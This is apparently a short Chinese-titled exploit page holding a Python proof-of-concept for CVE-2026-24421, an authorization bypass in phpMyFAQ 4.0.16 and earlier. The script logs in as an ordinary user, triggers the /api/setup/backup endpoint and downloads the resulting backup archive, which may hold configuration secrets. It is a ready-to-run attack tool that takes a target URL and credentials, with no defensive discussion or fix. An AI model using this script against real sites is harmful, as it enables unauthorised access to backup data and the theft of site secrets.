CVE-2026-24421 phpMyFAQ授权绕过漏洞

import requests import sys # CVE-2026-24421 PoC - phpMyFAQ Authorization Bypass # Target: phpMyFAQ <= 4.0.16 # Endpoint: /api/setup/backup def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as regular user (non-admin) login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False print("[+] Login successful as regular user") # Step 2: Trigger backup endpoint (requires only authentication, not admin) backup_url = f"{target_url}/api/setup/backup" headers = { "Content-Type": "application/json" } response = session.get(backup_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Backup triggered successfully!") print(f"[+] Response: {data}") # Step 3: Extract and access backup file path if 'backup_url' in data or 'url' in data: backup_link = data.get('backup_url') or data.get('url') print(f"[+] Backup file URL: {backup_link}") # Step 4: Download the backup file download_response = session.get(backup_link, timeout=10) if download_response.status_code == 200: filename = "backup_leak.zip" with open(filename, 'wb') as f: f.write(download_response.content) print(f"[+] Backup file downloaded: {filename}") print("[!] Sensitive configuration data may be exposed") return True else: print(f"[-] Backup request failed: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://vulnerable-site.com user123 pass123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)